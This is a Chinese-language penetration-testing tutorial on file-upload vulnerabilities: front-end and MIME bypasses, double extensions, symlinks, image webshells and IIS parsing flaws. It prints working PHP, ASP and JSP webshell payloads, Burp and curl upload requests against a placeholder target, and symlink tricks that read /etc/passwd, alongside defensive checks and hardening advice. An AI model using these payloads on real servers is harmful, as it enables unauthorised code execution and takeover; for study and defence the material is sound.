定義:文件上傳風險點是指應用程序允許用戶上傳文件,但沒有嚴格校驗上傳文件的類型、內容、路徑等屬性,導致攻擊者可以上傳并執行惡意代碼。
繞過方式:
前端繞過
1.?前端限制的原理
前端限制上傳文件類型的常見方式有三種:
1)accept
屬性限制上傳文件后綴:
<input type="file" accept=".jpg,.png">
這只允許用戶選擇 .jpg
、.png
后綴的文件。
2)前端 JS 腳本校驗:
例如用 JavaScript 限制后綴名或文件大小:
const file = document.getElementById("file").files[0];
if (!file.name.endsWith(".jpg")) {alert("只能上傳 JPG 圖片!");return false;
}
3)通過 MIME 類型校驗:
前端代碼可能會檢查文件的 type
屬性:
if (file.type !== "image/jpeg") {alert("只允許上傳圖片!");return false;
}
結論:以上所有校驗都是“客戶端校驗”,攻擊者完全可以繞過!因為攻擊者可以不通過瀏覽器上傳,而是自己構造上傳請求。
2.?前端繞過的攻擊原理
前端校驗只能在瀏覽器上生效。而上傳的核心流程如下:
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundary--
攻擊者只要能構造這樣的 HTTP 請求(與瀏覽器無關),即可上傳任何文件類型。
3.?前端繞過的幾種實戰方法
方法一:禁用 JS 直接選文件
如果頁面通過 JS 阻止上傳(例如不讓選擇 .php
文件),可以:
-
右鍵網頁 → 檢查 → Application → Local File System 手動選文件
-
或者用 curl、Postman、Python 繞過
方法二:Burp Suite 抓包修改文件名
步驟:
-
正常上傳一張
.jpg
圖片 -
Burp Suite 抓包
-
修改請求中的
filename="xxx.jpg"
為filename="shell.php"
-
修改請求體中的文件內容為 PHP Webshell
-
發送請求,查看響應路徑是否上傳成功
Content-Disposition: form-data; name="file"; filename="shell.php"
即使前端只允許 .jpg
,服務端沒做驗證,也可能成功!
方法三:curl 模擬上傳
用 curl 構造上傳請求(替代瀏覽器):
curl -F "file=@shell.php" http://target.com/upload
完全繞過前端任何 JS 校驗!
方法四:Python requests 上傳
構造 Python 腳本:
import requestsfiles = {'file': ('shell.php', open('shell.php', 'rb'), 'application/octet-stream')}
r = requests.post('http://target.com/upload', files=files)
print(r.text)
也能輕松繞過前端限制。
方法五:Postman 構造上傳請求
-
使用 Postman 新建 POST 請求
-
在 Body → form-data 添加字段:
-
key: file
-
type: File
-
value: 本地的
shell.php
-
-
點擊發送
4.?防御建議
防護位置 | 措施 |
---|---|
服務端 | 對文件擴展名進行白名單校驗(如:僅允許 .jpg , .png ) |
服務端 | 對 MIME 類型進行驗證(推薦通過 magic bytes,而非請求頭) |
服務端 | 對上傳路徑進行隔離,不允許上傳目錄執行腳本 |
服務端 | 對文件內容進行特征過濾(如檢測 <?php 字符) |
安全中間件 | 使用 WAF 攔截 eval , base64_decode , cmd 等關鍵詞 |
小結
前端繞過的本質:攻擊者完全可以跳過瀏覽器,構造自己的 HTTP 請求,從而繞過一切前端校驗。
=======================================
MIME 類型繞過
MIME(Multipurpose Internet Mail Extensions)類型,是 HTTP 請求中描述文件內容類型的字段,常見于上傳時的請求頭:
Content-Type: image/jpeg
常見類型有:
文件類型 | MIME 類型 |
---|---|
JPEG圖片 | image/jpeg |
PNG圖片 | image/png |
HTML | text/html |
PHP | application/x-httpd-php |
可執行文件 | application/octet-stream |
服務端錯誤的 MIME 判斷方式
很多開發者會使用以下邏輯判斷上傳文件是否合法:
if ($_FILES['file']['type'] != "image/jpeg") {die("請上傳圖片文件!");
}
問題:$_FILES['file']['type']
是由 客戶端上傳時聲明的 MIME 類型,攻擊者可以偽造!
1.?MIME 類型繞過的原理
攻擊核心:
攻擊者偽造請求頭中 Content-Type
為服務器信任的類型,例如:
Content-Type: image/jpeg
然后上傳 .php
文件內容,就可能繞過驗證。
2.?實戰 MIME 類型繞過方法
方法一:抓包修改 MIME(最常用)
-
正常上傳
.jpg
文件抓包 -
修改請求內容如下:
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg<?php @eval($_POST['cmd']); ?>
-
服務端只檢查
Content-Type: image/jpeg
,可能直接通過。
方法二:curl 構造 MIME 請求
curl -X POST http://target.com/upload -F "file=@shell.php;type=image/jpeg"
-
@shell.php
指上傳的本地文件 -
type=image/jpeg
表示 MIME 類型為圖片,偽造成功
方法三:Python 模擬上傳(偽造 Content-Type)
import requestsfiles = {'file': ('shell.php', open('shell.php', 'rb'), 'image/jpeg')
}res = requests.post('http://target.com/upload', files=files)
print(res.text)
即使上傳的是 PHP,偽裝成 JPEG,服務器若只看 Content-Type 就會中招。
方法四:圖片馬 + MIME 繞過
制作“圖片馬”:
GIF89a
<?php @eval($_POST['cmd']); ?>
保存為 shell.jpg
,上傳時 MIME 仍為 image/jpeg
。
如果服務器按 MIME 和擴展名判斷,不按內容判斷,就可能被執行。
3.?常見誤判方式
錯誤代碼 | 描述 |
---|---|
$_FILES['file']['type'] | 取的是客戶端提供的 MIME,可偽造 |
JS 檢查 file.type | 是前端行為,攻擊者可以直接 POST |
只看文件后綴名 + MIME | 雙保險都能偽造 |
4.?防御建議
防御方式 | 描述 |
---|---|
?使用 Magic Number 驗證 | 使用文件頭判斷文件真實類型(推薦) |
?白名單策略 | 嚴格限制上傳類型:只允許 .jpg/.png 等 |
?后端二次校驗 | 不能信任用戶提交的 Content-Type |
?隔離上傳路徑 | 上傳目錄不允許執行(不解析 PHP 等腳本) |
?文件改名存儲 | 上傳文件改為 UUID+擴展名,防止執行 |
5. Magic Number(文件頭)快速識別參考
文件類型 | 開頭標識(Magic Header) |
---|---|
JPEG | FF D8 FF |
PNG | 89 50 4E 47 |
GIF | 47 49 46 38 |
%PDF | |
ZIP | 50 4B 03 04 |
EXE | MZ |
可以使用 Python 檢測 Magic Header:
with open("file.jpg", "rb") as f:magic = f.read(4)print(magic)
小結
MIME 類型可以輕松偽造,千萬不能作為文件是否合法的依據。
必須在后端通過真實內容檢查(Magic Number)+ 類型白名單 + 存儲隔離多重措施防御。
=======================================
雙擴展名
雙擴展名就是給上傳的文件命名為兩個擴展名的形式:
shell.php.jpg
或者:
shell.jpg.php
目的:混淆服務端或 Web 服務器對文件類型的識別,從而繞過上傳限制并達到執行 WebShell 的目的。
為什么雙擴展名會繞過?
在某些服務端邏輯中:
-
檢查上傳文件后綴是否為圖片(例如:
endswith(".jpg")
) -
一看到
.jpg
就放行,不管前面還有.php
于是:
文件名:shell.php.jpg
服務端:哦,是 .jpg,合法!
Web 服務器:實則按 .php 解析!可能直接執行!
1.?不同服務器對雙擴展名的解析差異
服務器類型 | 解析策略 | 說明 |
---|---|---|
Apache | 默認取最后一個擴展名(.jpg ) | 可配置,需看 mod_mime 等模塊 |
Nginx | 默認取最后一個擴展名(.jpg ) | 不解析 .php.jpg 文件 |
IIS | 常常取 第一個識別的可執行后綴 | .php;.jpg 可能會執行 |
2.?雙擴展名繞過的幾種形式
1)普通雙擴展名:
shell.php.jpg
shell.asp.jpg
shell.jsp.jpg
如果服務端只判斷最后一個擴展名,會被繞過。
2)帶多個點(多擴展):
shell.php.1.jpg
shell.php.abc.jpg
有些框架只會取第一個點后的部分進行判斷,導致繞過。
3)利用 Windows 的「忽略第二擴展名」特性(IIS 特性):
shell.asp;.jpg
Windows 文件名允許 ;
,IIS 會識別前半段為腳本,后面忽略,仍然執行。
4)上傳后路徑解析造成繞過:
假設上傳后文件名被服務器改為:
shell.php.jpg -> /uploads/shell.php.jpg
攻擊者訪問:
http://target.com/uploads/shell.php.jpg
如果 Web 服務未正確配置(比如直接轉發給 PHP 引擎),也可能執行里面的 PHP 代碼。
3. 實戰舉例
上傳雙擴展名圖片馬:
創建一個“圖片馬”:
GIF89a
<?php @eval($_POST['cmd']); ?>
保存為:
shell.php.jpg
抓包修改上傳參數(如 Content-Type 設置為 image/jpeg),繞過檢查。
如果上傳成功,訪問:
http://target.com/uploads/shell.php.jpg
如果目標服務器會將其作為 PHP 執行,就 getshell 了。
4.?防御建議
措施 | 說明 |
---|---|
?嚴格后端校驗擴展名 | 如不包含 .php 、.jsp 等 |
?限制文件名只能包含一個點 | 拒絕多擴展名上傳 |
?上傳后強制重命名 | 使用 UUID 或 hash 做存儲名 |
?上傳目錄禁止腳本執行 | Nginx 設置 autoindex off; + 不交給 PHP 引擎 |
?使用 Magic Number 校驗文件內容類型 | 不信擴展名和 MIME |
?WAF 攔截可疑上傳文件名 | 比如包含 .php 的文件名 |
小結
雙擴展名繞過的本質是服務端只檢查“最后一個擴展名”,而 Web 服務可能根據前面的擴展名解析執行。
如果后端只判斷 .jpg
而忽略了 .php
,或者 IIS 會執行 shell.php;.jpg
,就會導致嚴重的上傳+執行 風險,最終 getshell。
=======================================
軟連接繞過
軟連接(Symbolic Link)是 Linux 下的“快捷方式”,類似 Windows 的快捷方式文件。
例如:
ln -s /etc/passwd ./a.jpg
會在當前目錄創建一個叫 a.jpg
的文件,實際上是 /etc/passwd
的軟鏈接。
軟連接與文件上傳繞過的關系
攻擊思路:
-
上傳文件 時,服務端只檢查擴展名、MIME 類型;
-
上傳的內容其實是一個軟連接文件,指向一個敏感腳本(或你上傳的已存在 WebShell);
-
如果服務器將該文件當成上傳結果處理,訪問鏈接路徑時可能執行原始文件,或者獲取敏感數據。
1.?利用條件(環境依賴較強)
要使用軟連接繞過,必須滿足以下條件:
條件 | 說明 |
---|---|
?Linux 系統 | Windows 不支持軟鏈接用于這種方式 |
?Web 目錄具有讀權限 | 否則 Web 無法訪問軟鏈接目標 |
?上傳目錄允許寫入軟鏈接 | 有些服務器禁用軟鏈接操作 |
?未嚴格檢查上傳內容 | 服務端未禁止非圖片數據 |
?Web 服務能解析軟鏈接 | 即訪問軟鏈接時能解析執行其目標文件 |
2.?攻擊實例
示例 1:讀取敏感文件(非 getshell)
上傳一個偽裝成圖片的軟鏈接:
ln -s /etc/passwd passwd.jpg
然后上傳 passwd.jpg
,如果上傳路徑是 Web 可訪問的:
http://target.com/upload/passwd.jpg
就可能顯示 /etc/passwd
的內容!
示例 2:訪問網站中的已存在后門
假設找到了某個泄漏頁面 /admin/shell.php
,但它只能通過某個復雜路徑才能訪問(比如被防火墻保護)。
上傳一個軟鏈接:
ln -s /var/www/html/admin/shell.php shell.jpg
上傳后訪問:
http://target.com/upload/shell.jpg
就可能繞過路徑限制,直接訪問到 WebShell!
示例 3:繞過后綴限制(配合雙擴展)
將軟鏈接命名為:
shell.php.jpg -> /var/www/html/uploads/shell.php
服務端判斷后綴為 .jpg
,就允許上傳,但實際鏈接的是 .php
文件,仍可能被執行。
3.?防御方式
防御措施 | 說明 |
---|---|
?禁止上傳軟連接文件 | 上傳接口判斷是否為軟鏈接(見下方示例) |
?上傳目錄掛載為 nofollow | 防止軟連接被解析 |
?上傳后重命名并移動 | 不保留原路徑、軟連接無效 |
?配置 Web 服務禁止解析符號鏈接 | Nginx/Apache 配置關閉 symlink 解析 |
?文件內容識別驗證 | 拒絕上傳符號鏈接文件,檢查是否真實圖片等 |
4.?檢測上傳文件是否是軟鏈接
后端代碼示例(PHP):
if (is_link($_FILES['file']['tmp_name'])) {die("禁止上傳符號鏈接文件!");
}
或使用 filetype()
:
if (filetype($_FILES['file']['tmp_name']) == "link") {die("拒絕上傳軟鏈接!");
}
小結
軟連接繞過的核心是:上傳的文件其實是一個鏈接,服務端未驗證內容,訪問時可能導致敏感信息泄露或繞過路徑保護,甚至執行隱藏的 WebShell。
getshell 實例:
Webshell 上傳
WebShell 是一種后門腳本文件,通過 Web 頁面遠程控制服務器。
常見的 WebShell 類型包括:
腳本類型 | 常見擴展名 | 舉例語言 |
---|---|---|
PHP Shell | .php , .phtml | <?php @eval($_POST['pass']); ?> |
ASP Shell | .asp , .aspx | <%eval request("pass")%> |
JSP Shell | .jsp | <% Runtime.getRuntime().exec(request.getParameter("cmd")); %> |
1.?攻擊條件(前提)
成功上傳 WebShell 并執行,需滿足以下前提:
-
上傳功能可用;
-
上傳后文件可訪問且可執行;
-
服務端未對上傳類型/內容做嚴格限制;
-
沒有 WAF(Web 應用防火墻)或其他檢測機制攔截。
2.?攻擊流程詳解
步驟 1:準備 WebShell 文件(例如 PHP)
<?php @eval($_POST['pass']); ?>
也可以用更隱蔽的變種:
<?php
$a='ass'.'ert';
$b='$_POST[1]';
$a($b);
?>
步驟 2:上傳腳本文件
如果前端限制只能上傳 .jpg
,可以通過:
-
修改后綴:
shell.php.jpg
-
攔截請求(Burp)改文件名為
shell.php
-
MIME 類型偽造:
Content-Type: image/jpeg
步驟 3:上傳成功后,訪問 WebShell
http://target.com/upload/shell.php
或(雙擴展):
http://target.com/upload/shell.php.jpg
步驟 4:控制 WebShell(Getshell)
-
使用工具如:蟻劍(AntSword)、冰蝎(Behinder)、中國菜刀等;
-
輸入密碼字段(如
pass
); -
獲得命令執行界面或文件管理界面。
3.?繞過技巧合集
繞過手段 | 原理 |
---|---|
前端繞過 | JS 檢查可被禁用或繞過(改 HTML 或直接抓包上傳) |
MIME 類型偽造 | Content-Type 改為合法類型如 image/jpeg |
雙擴展名 | shell.php.jpg 或 shell.asp;.jpg (IIS) |
文件頭偽造 | 添加 GIF 或 JPG 文件頭 |
上傳后重命名風險點 | 文件被重命名但保留可執行擴展 |
路徑可控或軟鏈接 | 上傳后路徑可預測或指向 WebShell 文件 |
4.?實戰演示(PHP + Apache)
服務端代碼(風險點示例):
<?php
$upload_dir = "uploads/";
$target = $upload_dir . basename($_FILES['file']['name']);if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {echo "Upload success!";
} else {echo "Upload failed!";
}
這個代碼沒有任何擴展名、MIME 類型或內容檢查,可直接上傳 .php
文件。
上傳方式(用 curl 模擬):
curl -X POST -F "file=@shell.php" http://target.com/upload.php
然后訪問:
http://target.com/uploads/shell.php
輸入 POST 數據:
pass=phpinfo();
即可執行代碼。
5.?防御建議
防御措施 | 說明 |
---|---|
?文件類型白名單 | 只允許 .jpg 、.png 等安全類型 |
?文件內容檢測 | 使用 file 命令或圖片頭判斷,不信擴展名 |
?上傳文件改名 | 使用隨機 UUID 替換原文件名 |
?上傳目錄禁止解析 | Nginx 配置 location ~* \.php$ { deny all; } |
?文件隔離 | 上傳文件不放在 Web 根目錄下 |
?后門檢測工具 | 使用 D盾、WebShellCheck、Yakit 等檢測工具 |
6.?工具推薦
工具名稱 | 用途 |
---|---|
蟻劍 AntSword | 最流行的跨平臺 WebShell 管理工具 |
冰蝎 Behinder | 高級 WebShell,支持加密、內存馬 |
中國菜刀 | 老牌 WebShell 客戶端 |
Burp Suite | 抓包修改上傳參數繞過限制 |
webshell-detect | 檢測服務器 WebShell 的工具腳本 |
小結
WebShell 上傳是文件上傳風險點的終極目標,一旦成功就意味著攻擊者能完全控制服務器。
=======================================
圖片馬
圖片馬(Image WebShell)指的是偽裝成圖片格式的 WebShell 文件,攻擊者通過在圖片文件中隱藏腳本代碼,欺騙服務端的上傳限制,從而實現代碼執行。
圖片馬可用于繞過:
-
文件擴展名限制(只能上傳
.jpg
,.png
等) -
MIME 類型限制(Content-Type 必須為 image/*)
-
文件頭檢測(Magic Number 判斷)
1.?構造圖片馬的原理
圖片文件本質是二進制文件,不同格式有固定的文件頭:
圖片類型 | 文件頭(Magic Number) |
---|---|
JPG | FF D8 FF |
PNG | 89 50 4E 47 0D 0A |
GIF | GIF89a |
而 Web 服務器在檢查上傳文件時,很多只校驗:
-
文件擴展名;
-
文件 MIME;
-
文件頭(Magic Number)前幾個字節;
不會分析后續內容是否包含惡意代碼。
2.?常見的圖片馬構造方式
方式一:偽造圖片文件頭 + PHP 代碼
方法:在 PHP WebShell 前加圖片文件頭
GIF89a
<?php @eval($_POST['cmd']); ?>
保存為:shell.gif
,這就是圖片馬。
訪問時:
http://target.com/uploads/shell.gif
POST 請求內容:
cmd=phpinfo();
如果服務器仍按 PHP 解析器解析(例如上傳目錄支持 .gif 被解析為 PHP),就能執行代碼。
方式二:嵌入 WebShell 到真實圖片尾部
可以把 PHP 代碼加在正常圖片后面:
copy /b real.jpg + shell.php shell.jpg
或者使用 Linux:
cat real.jpg shell.php > shell.jpg
這種圖片能正常查看(例如瀏覽器可預覽),但訪問時仍可執行其中的 WebShell。
方式三:隱藏在圖片的 EXIF 信息中
EXIF 是圖片的元數據,攻擊者可將 Shell 寫入其中字段:
修改方法(PHP):
exiftool -Comment='<?php eval($_POST["cmd"]); ?>' image.jpg
服務器讀取 EXIF 并包含或解析時,代碼會執行(結合文件包含風險點使用)。
3.?攻擊流程
-
攻擊者準備偽裝好的圖片馬文件;
-
上傳時抓包修改擴展名為
.jpg
或偽造 MIME:Content-Type: image/jpeg
-
上傳成功后訪問路徑:
http://target.com/uploads/shell.jpg
-
使用蟻劍等 WebShell 工具連接,或手動發 POST 請求執行命令。
4.?圖片馬常見繞過技巧
繞過方式 | 說明 |
---|---|
文件頭偽造 | 加上 GIF89a 或 FFD8FF 開頭 |
擴展名偽裝 | 使用 .jpg , .png , .gif |
雙擴展名 | shell.php.jpg 、shell.phtml.jpg |
MIME 偽造 | Content-Type: image/jpeg 偽造請求頭 |
真實圖片拼接 | 使用 cat 或 copy /b 拼接真實圖片與 Shell |
使用特殊文件名 | shell.php%00.jpg (空字節截斷)舊風險點 |
IIS 特性 | 上傳 .php;.jpg (雙擴展名 + IIS 解析風險點) |
5.?實戰演示(Apache + PHP)
WebShell 內容(shell.gif):
GIF89a
<?php eval($_POST['cmd']); ?>
上傳:
使用 Burp Suite 抓包,修改上傳字段為:
Content-Disposition: form-data; name="file"; filename="shell.gif"
Content-Type: image/gif
上傳成功后訪問:
http://target.com/uploads/shell.gif
POST 請求:
cmd=system('whoami');
效果:
如果服務器將上傳目錄文件仍作為 PHP 解析 → 成功執行 WebShell → Getshell 成功。
6.?防御建議
防御措施 | 說明 |
---|---|
?限制 MIME + 擴展名 | 同時校驗后綴名和內容類型 |
?檢測 Magic Number | 檢查文件是否是合法圖片頭且長度匹配 |
?上傳目錄禁用解析 | 上傳目錄不允許執行 .php 文件(Nginx deny) |
?文件改名 + 改路徑 | 改為隨機名且存放在不可訪問的路徑 |
?使用專業安全組件 | 如阿里云 OSS、騰訊 COS 附帶內容安全檢查 |
?設置圖片后綴白名單 | 拒絕 .php.jpg 、.phtml 、.phar 等可解析格式 |
7.?工具推薦
工具 | 說明 |
---|---|
ExifTool | 修改圖片 EXIF 信息 |
AntSword | 上傳并連接圖片馬 WebShell |
Burp Suite | 抓包偽造上傳請求繞過 |
Yakit/D盾 | WebShell 檢測工具 |
PHP 偽圖片生成腳本 | 可自動生成圖片馬樣本 |
小結
圖片馬是一種利用服務端上傳處理不嚴、文件解析機制配置不當,實現隱蔽 WebShell 上線的手法。 它配合上傳繞過技巧,依舊是滲透測試中非常實用的一招。
=======================================
解析風險點(IIS 特性)
IIS(Internet Information Services)是微軟提供的 Web 服務。解析風險點是指:
Web 服務器對文件的擴展名解析邏輯存在缺陷,攻擊者可以上傳惡意腳本偽裝成非腳本文件繞過檢測,但服務器最終仍會將其作為腳本解析執行。
常見于 IIS 6.0 / 7.0 / 7.5 / 8.0 等舊版本。
1.?利用解析風險點的關鍵特性
IIS 的解析順序(優先順序):
IIS 處理文件時,會:
-
找到文件路徑;
-
嘗試按擴展名查找對應的處理程序(Handler);
-
有一些版本的 IIS 會 從第一個擴展名起就開始匹配處理程序。
也就是說:文件名 shell.asp;.jpg
,IIS 仍會按照 .asp
解析執行!
導致風險點的配置(默認情況下):
-
IIS 將 第一個合法擴展名 作為解析目標;
-
IIS 忽略后續擴展名;
-
也支持空格、分號、00 截斷等繞過方式。
2.?經典利用方式舉例
方式一:雙擴展名 + 分號
上傳文件名:shell.asp;.jpg
雖然后綴是 .jpg
,但 IIS 按 .asp
處理,會當做腳本執行!
訪問地址:
http://target.com/uploads/shell.asp;.jpg
如果上傳目錄支持 .asp
文件解析,就 Getshell 成功。
方式二:空格繞過(部分 IIS 支持)
上傳:shell.asp .jpg
(注意擴展名前加空格)
IIS 有時會自動忽略空格后綴,仍按 .asp
解析。
方式三:%20
、%00
空格/截斷字符繞過
-
shell.asp%20.jpg
(URL 中加空格) -
shell.asp%00.jpg
(URL 截斷字符)
一些老的解析器或語言可能會把 %00
作為字符串結尾 → 實際處理為 shell.asp
。
方式四:NTFS ADS(替代數據流)
在 Windows 系統上,可以構造:
shell.jpg::$DATA
上傳后實際存儲為 NTFS 的數據流,某些配置下可以執行隱藏數據。
但這種方式利用受限于服務端具體環境。
3.?實戰演示(IIS 6.0 示例)
假設上傳限制只允許 .jpg
文件。
上傳方式:
上傳文件名:shell.asp;.jpg
文件內容:
<%eval request("cmd")%>
抓包修改請求頭:
Content-Disposition: form-data; name="file"; filename="shell.asp;.jpg"
Content-Type: image/jpeg
上傳成功后訪問:
http://target.com/uploads/shell.asp;.jpg
提交 POST 數據:cmd=Response.Write("hello")
,成功返回說明解析風險點存在。
4.?解析風險點的核心本質
“文件上傳 + Web 服務器配置失誤 = Getshell”
不是上傳功能本身出問題,而是 Web 服務器的解析機制對攻擊者過于寬容。
這也是為什么即使文件名后綴看上去正常(.jpg
),但仍可能執行其中的 WebShell 代碼。
5.?防御方式
防御措施 | 說明 |
---|---|
?文件名規范化 | 上傳后強制改名(使用 UUID 或 hash) |
?禁用危險擴展解析 | 修改 IIS 配置:刪除 .asp 、.php 等解析器 |
?上傳目錄隔離 | 設置上傳目錄不執行腳本(web.config deny 或權限限制) |
?WAF 攔截 | 攔截偽裝的雙擴展名 / 分號 / 空格等可疑請求 |
?使用第三方云存儲 | 如阿里云 OSS、騰訊 COS,上傳即隔離 |
6.?檢測工具推薦
工具 | 功能 |
---|---|
IIS Shortname Scanner | 掃描 IIS 解析路徑風險點 |
Burp Suite + 手動測試 | 構造雙擴展名、空格上傳包 |
冰蝎 / 蟻劍 | 一旦上傳成功用于連接 Shell |
WAF Log 分析 | 檢測雙擴展名、; 等敏感字符訪問日志 |
小結
解析風險點不是上傳風險點本身,而是服務器“過度聰明”的解析行為被攻擊者利用,常見于 IIS 上,典型的就是雙擴展名+分號。